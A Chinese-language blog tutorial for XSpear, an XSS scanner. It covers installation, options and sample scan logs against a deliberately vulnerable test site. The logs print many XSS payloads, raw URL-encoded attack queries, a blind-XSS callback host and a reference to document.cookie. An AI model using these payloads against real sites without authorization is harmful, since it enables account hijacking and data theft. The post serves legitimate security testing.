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如何使用XSpear完成XSS扫描与参数分析

发布:97辅助网2020-1-19 1:05分类: WEB安全 标签: XSS

XSpear是一款功能强大的XSS扫描与参数分析工具,该工具基于Ruby开发,广大研究人员可以将XSpear作为一款XSS扫描工具来使用,并保证目标应用的安全。

核心功能

1、基于模式匹配的XSS扫描

2、检测无头浏览器的alert、confirm、prompt事件

3、针对XSS保护绕过来测试请求与响应

4、测试XSS盲注(XSS Hunter、ezXSS、HBXSS

5、动态/静态分析:寻找SQL错误模式、分析安全Header、分析其他Header、测试URI路径

6、扫描文件

7、基于Ruby开发(GEM库)

8、显示table base cli-report、filtered rule和testing raw query(url)

9、测试选中的参数

10、支持命令行JSON输出格式

11、支持Verbose 0-3级

12、支持Config文件

13、针对任意攻击向量支持自定义回调代码

工具安装

广大研究人员可运行下列命令完成工具的安装:

$ gem install XSpear

或者以本地文件进行安装:

$ gem install XSpear-{version}.gem

将下面这行代码添加至应用程序的Gemfile中:

gem 'XSpear'

接下来,运行下列命令:

$ bundle

Gem依赖


colorize 

selenium-webdriver 

terminal-table 

progress_bar

如果你想利用Gem库来完成自动化安装与配置,可以直接运行下列命令:


$ gem install colorize

$ gem install selenium-webdriver

$ gem install terminal-table

$ gem install progress_bar

命令行使用


Usage: xspear -u [target] -[options] [value]

[ e.g ]

$ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin' -v 1 -a 

$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 2

[ Options ]

    -u, --url=target_URL             [required] Target Url

    -d, --data=POST Body             [optional] POST Method Body data

    -a, --test-all-params            [optional] test to all params(include not reflected)

        --headers=HEADERS            [optional] Add HTTP Headers

        --cookie=COOKIE              [optional] Add Cookie

        --raw=FILENAME               [optional] Load raw file(e.g raw_sample.txt)

    -p, --param=PARAM                [optional] Test paramters

    -b, --BLIND=URL                  [optional] Add vector of Blind XSS

                                      + with XSS Hunter, ezXSS, HBXSS, etc...

                                      + e.g : -b https://hahwul.xss.ht

    -t, --threads=NUMBER             [optional] thread , default: 10

    -o, --output=FORMAT              [optional] Output format (cli , json)

    -c, --config=FILENAME            [optional] Using config.json

    -v, --verbose=0~3                [optional] Show log depth

                                      + v=0 : quite mode(only result)

                                      + v=1 : show scanning status(default)

                                      + v=2 : show scanning logs

                                      + v=3 : show detail log(req/res)

    -h, --help                       Prints this help

        --version                    Show XSpear version

        --update                     Show how to update

输出结果类型

(I)NFO: 获取信息,例如SQL错误,过滤规则和反射参数等

(V)UNL: 脆弱的XSS,检测 alert/prompt/confirm

(L)OW: 低级安全问题

(M)EDIUM: 中级安全问题

(H)IGH: 高级安全问题

Verbose模式

【0】静默模式(只显示结果)


$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 0

you see report

【1】显示进程条(默认)


$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 1

[*] analysis request..

[*] used test-reflected-params mode(default)

[*] creating a test query [for reflected 2 param + blind XSS ]

[*] test query generation is complete. [249 query]

[*] starting XSS Scanning. [10 threads]

[#######################################] [249/249] [100.00%] [01:05] [00:00] [  3.83/s]

...

you see report

【2】显示扫描日志


$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 2

[*] analysis request..

[I] [22:42:41] [200/OK] [param: cat][Found SQL Error Pattern]

[-] [22:42:41] [200/OK] 'STATIC' not reflected

[-] [22:42:41] [200/OK] 'cat' not reflected <script>alert(45)</script>

[I] [22:42:41] [200/OK] reflected rEfe6[param: cat][reflected parameter]

[*] used test-reflected-params mode(default)

[*] creating a test query [for reflected 2 param + blind XSS ]

[*] test query generation is complete. [249 query]

[*] starting XSS Scanning. [10 threads]

[I] [22:42:43] [200/OK] reflected onhwul=64[param: cat][reflected EHon{any} pattern]

[-] [22:42:54] [200/OK] 'cat' not reflected <img/src onerror=alert(45)>

[-] [22:42:54] [200/OK] 'cat' not reflected <svg/onload=alert(45)>

[H] [22:42:54] [200/OK] reflected <script>alert(45)</script>[param: cat][reflected XSS Code]

[V] [22:42:59] [200/OK] found alert/prompt/confirm (45) in selenium!! '"><svg/onload=alert(45)>[param: cat][triggered <svg/onload=alert(45)>]

...

you see report

【3】显示扫描详细日志


$ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 3

[*] analysis request..

[-] [22:56:21] [200/OKhttp://testphp.vulnweb.com/listproducts.php?cat=123 in url

[ Request ]

{"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["*/*"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]}

[ Response ]

{"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:53:23 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]}

[-] [22:56:21] [200/OK] 'STATIC' not reflected

[-] [22:56:21] [200/OK] cat=123rEfe6 in url

...

[*] used test-reflected-params mode(default)

[*] creating a test query [for reflected 2 param + blind XSS ]

[*] test query generation is complete. [249 query]

[*] starting XSS Scanning. [10 threads]

...

[ Request ]

{"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["*/*"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]}

[ Response ]

{"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:54:36 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]}

[H] [22:57:33] [200/OK] reflected <keygen autofocus onfocus=alert(45)>[param: cat][reflected onfocus XSS Code]

...

you see report

使用样例

扫描XSS

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy"

仅输出JSON结果:

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -d "searchFor=yy" -o json -v 0

设置扫描线程:

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -t 30

测试选择的参数:

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -p cat,test

测试所有的参数:

$ xspear -u "http://testphp.vulnweb.com/search.php?test=query&cat=123&ppl=1fhhahwul" -a

测试XSS盲注:


$ xspear -u "http://testphp.vulnweb.com/search.php?test=query" -b "https://hahwul.xss.ht" -a

# Set your blind xss host. <-b options>

针对Pipeline:


$ xspear -u {target} -b "your-blind-xss-host" -a -v 0 -o json

# -u : target 

# -b : testing blind xss

# -a : test all params(test to not reflected param)

# -v : verbose, not showing logs at value 1.

# -o : output optios, json!

JSON格式结果:


{

    "starttime": "2019-12-25 00:02:58 +0900",

    "endtime": "2019-12-25 00:03:31 +0900",

    "issue_count": 25,

    "issue_list": [{

        "id": 0,

        "type": "INFO",

        "issue": "DYNAMIC ANALYSIS",

        "method": "GET",

        "param": "cat",

        "payload": "XsPeaR\"",

        "description": "Found SQL Error Pattern"

    }, {

        "id": 1,

        "type": "INFO",

        "issue": "STATIC ANALYSIS",

        "method": "GET",

        "param": "-",

        "payload": "<original query>",

        "description": "Found Server: nginx/1.4.1"

    }, {

        "id": 2,

        "type": "INFO",

        "issue": "STATIC ANALYSIS",

        "method": "GET",

        "param": "-",

        "payload": "<original query>",

        "description": "Not set HSTS"

    }, {

        "id": 3,

        "type": "INFO",

        "issue": "STATIC ANALYSIS",

        "method": "GET",

        "param": "-",

        "payload": "<original query>",

        "description": "Content-Type: text/html"

    }, {

        "id": 4,

        "type": "LOW",

        "issue": "STATIC ANALYSIS",

        "method": "GET",

        "param": "-",

        "payload": "<original query>",

        "description": "Not Set X-Frame-Options"

    }, {

        "id": 5,

        "type": "MIDUM",

        "issue": "STATIC ANALYSIS",

        "method": "GET",

        "param": "-",

        "payload": "<original query>",

        "description": "Not Set CSP"

    }, {

        "id": 6,

        "type": "INFO",

        "issue": "REFLECTED",

        "method": "GET",

        "param": "cat",

        "payload": "rEfe6",

        "description": "reflected parameter"

    }, {

        "id": 7,

        "type": "INFO",

        "issue": "FILERD RULE",

        "method": "GET",

        "param": "cat",

        "payload": "onhwul=64",

        "description": "not filtered event handler on{any} pattern"

    }

....

, {

        "id": 17,

        "type": "HIGH",

        "issue": "XSS",

        "method": "GET",

        "param": "cat",

        "payload": "<audio src onloadstart=alert(45)>",

        "description": "reflected HTML5 XSS Code"

    }, {

        "id": 18,

        "type": "HIGH",

        "issue": "XSS",

        "method": "GET",

        "param": "cat",

        "payload": "<keygen autofocus onfocus=alert(45)>",

        "description": "reflected onfocus XSS Code"

 ....

    }, {

        "id": 24,

        "type": "HIGH",

        "issue": "XSS",

        "method": "GET",

        "param": "cat",

        "payload": "<marquee onstart=alert(45)>",

        "description": "triggered <marquee onstart=alert(45)>"

    }]

}

如需在BurpSuite中使用XSpear,请点击【这里】。

扫描日志样本

扫描XSS


xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=z"

    )  (

 ( /(  )\ )

 )\())(()/(          (     )  (

((_)\  /(_))`  )    ))\ ( /(  )(

__((_)(_))  /(/(   /((_))(_))(()\

\ \/ // __|((_)_\ (_)) ((_)_  ((_)

 >  < \__ \| '_ \)/ -_)/ _` || '_|

/_/\_\|___/| .__/ \___|\__,_||_|    />

           |_|                   \ /<

{\\\\\\\\\\\\\BYHAHWUL\\\\\\\\\\\(0):::<======================-

                                 / \<

                                    \>       [ v1.1.5 ]

...snip...

[*] finish scan. the report is being generated..

+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+

|                                                            [ XSpear report ]                                                            |

|                              http://testphp.vulnweb.com/listproducts.php?cat=123&zfdfasdf=124fff... (snip)                              |

|                                 2019-08-14 23:50:34 +0900 ~ 2019-08-14 23:51:07 +0900 Found 24 issues.                                  |

+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+

| NO | TYPE  | ISSUE            | METHOD | PARAM | PAYLOAD                                | DESCRIPTION                                   |

+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+

| 0  | INFO  | STATIC ANALYSIS  | GET    | -     | <original query>                       | Found Server: nginx/1.4.1                     |

| 1  | INFO  | STATIC ANALYSIS  | GET    | -     | <original query>                       | Not set HSTS                                  |

| 2  | INFO  | STATIC ANALYSIS  | GET    | -     | <original query>                       | Content-Type: text/html                       |

| 3  | LOW   | STATIC ANALYSIS  | GET    | -     | <original query>                       | Not Set X-Frame-Options                       |

| 4  | MIDUM | STATIC ANALYSIS  | GET    | -     | <original query>                       | Not Set CSP                                   |

| 5  | INFO  | DYNAMIC ANALYSIS | GET    | cat   | XsPeaR"                                | Found SQL Error Pattern                       |

| 6  | INFO  | REFLECTED        | GET    | cat   | rEfe6                                  | reflected parameter                           |

| 7  | INFO  | FILERD RULE      | GET    | cat   | onhwul=64                              | not filtered event handler on{any} pattern    |

| 8  | HIGH  | XSS              | GET    | cat   | <script>alert(45)</script>             | reflected XSS Code                            |

| 9  | HIGH  | XSS              | GET    | cat   | <marquee onstart=alert(45)>            | reflected HTML5 XSS Code                      |

| 10 | HIGH  | XSS              | GET    | cat   | <details/open/ontoggle="alert`45`">    | reflected HTML5 XSS Code                      |

| 11 | HIGH  | XSS              | GET    | cat   | <select autofocus onfocus=alert(45)>   | reflected onfocus XSS Code                    |

| 12 | HIGH  | XSS              | GET    | cat   | <input autofocus onfocus=alert(45)>    | reflected onfocus XSS Code                    |

| 13 | HIGH  | XSS              | GET    | cat   | <textarea autofocus onfocus=alert(45)> | reflected onfocus XSS Code                    |

| 14 | HIGH  | XSS              | GET    | cat   | <audio src onloadstart=alert(45)>      | reflected HTML5 XSS Code                      |

| 15 | HIGH  | XSS              | GET    | cat   | <meter onmouseover=alert(45)>0</meter> | reflected HTML5 XSS Code                      |

| 16 | HIGH  | XSS              | GET    | cat   | "><iframe/src=JavaScriPt:alert(45)>    | reflected XSS Code                            |

| 17 | HIGH  | XSS              | GET    | cat   | <video/poster/onerror=alert(45)>       | reflected HTML5 XSS Code                      |

| 18 | HIGH  | XSS              | GET    | cat   | <keygen autofocus onfocus=alert(45)>   | reflected onfocus XSS Code                    |

| 19 | VULN  | XSS              | GET    | cat   | <script>alert(45)</script>             | triggered <script>alert(45)</script>          |

| 20 | HIGH  | XSS              | GET    | cat   | <marquee onstart=alert(45)>            | triggered <marquee onstart=alert(45)>         |

| 21 | HIGH  | XSS              | GET    | cat   | <details/open/ontoggle="alert(45)">    | triggered <details/open/ontoggle="alert(45)"> |

| 22 | HIGH  | XSS              | GET    | cat   | <audio src onloadstart=alert(45)>      | triggered <audio src onloadstart=alert(45)>   |

| 23 | VULN  | XSS              | GET    | cat   | '"><svg/onload=alert(45)>              | triggered <svg/onload=alert(45)>              |

+----+-------+------------------+--------+-------+----------------------------------------+-----------------------------------------------+

< Available Objects >

[cat] param

 + Available Special Char: ` ( \ ' { ) } [ : $ ]

 + Available Event Handler: "onBeforeEditFocus","onAbort","onActivate","onAfterUpdate","onBeforeCopy","onAfterPrint","onBeforeActivate","onBeforeCut","onBeforeDeactivate","onChange","onBeforePrint","onBounce","onBeforeUnload","onCellChange","onBeforePaste","onClick","onBegin","onBlur","onBeforeUpdate","onDataSetChanged","onCut","onDblClick","onCopy","onContextMenu","onDataSetComplete","onDeactivate","onDataAvailable","onControlSelect","onDrag","onDrop","onDragEnd","onEnd","onDragLeave","onDragStart","onDragOver","onDragEnter","onDragDrop","onError","onErrorUpdate","onFinish","onFilterChange","onKeyPress","onHelp","onFocus","onInput","onHashChange","onKeyDown","onFocusIn","onFocusOut","onMessage","onMouseDown","onLoad","onLayoutComplete","onMouseEnter","onLoseCapture","onloadstart","onMediaError","onKeyUp","onMediaComplete","onMouseOver","onMouseWheel","onMove","onMouseMove","onMouseOut","onOffline","onMoveStart","onMouseLeave","onMouseUp","onMoveEnd","onPropertyChange","onOnline","onPause","onPaste","onReadyStateChange","onRedo","onProgress","onPopState","onOutOfSync","onRepeat","onResume","onRowExit","onReset","onResizeEnd","onRowsEnter","onResizeStart","onReverse","onRowDelete","onRowInserted","onResize","onStop","onSeek","onSelect","onSubmit","onStorage","onStart","onScroll","onSelectionChange","onSyncRestored","onSelectStart","onUnload","ontouchstart","onbeforescriptexecute","onTimeError","onURLFlip","ontouchmove","ontouchend","onTrackChange","onUndo","onafterscriptexecute","onpointermove","onpointerleave","onpointerup","onpointerover","onpointerdown","onpointerenter","onloadstart","onloadend","onpointerout"

 + Available HTML Tag: "script","img","embed","video","audio","meta","style","frame","iframe","svg","object","frameset","applet"

 + Available Useful Code: "document.cookie","document.location","window.location"

< Raw Query >

[0] http://testphp.vulnweb.com/listproducts.php?-

..snip..

[19] http://testphp.vulnweb.com/listproducts.php?cat=123%22%3E%3Cscript%3Ealert(45)%3C/script%3E&zfdfasdf=124fffff

[20] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Cmarquee%20onstart=alert(45)%3E&zfdfasdf=124fffff

[21] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Cdetails/open/ontoggle=%22alert(45)%22%3E&zfdfasdf=124fffff

[22] http://testphp.vulnweb.com/listproducts.php?cat=123%22'%3E%3Caudio%20src%20onloadstart=alert(45)%3E&zfdfasdf=124fffff

[23] http://testphp.vulnweb.com/listproducts.php?cat=123'%22%3E%3Csvg/onload=alert(45)%3E&zfdfasdf=124fffff

...snip...

工具更新

普通用户:

$ gem update XSpear

软件开发者:

$ git pull -v

硬件开发者:

$ git reset --hard HEAD; git pull -v

工具运行截图

工具演示视频

视频地址:【传送门

项目地址

XSpear v1.3:【GitHub传送门

温馨提示如有转载或引用以上内容之必要,敬请将本文链接作为出处标注,谢谢合作!

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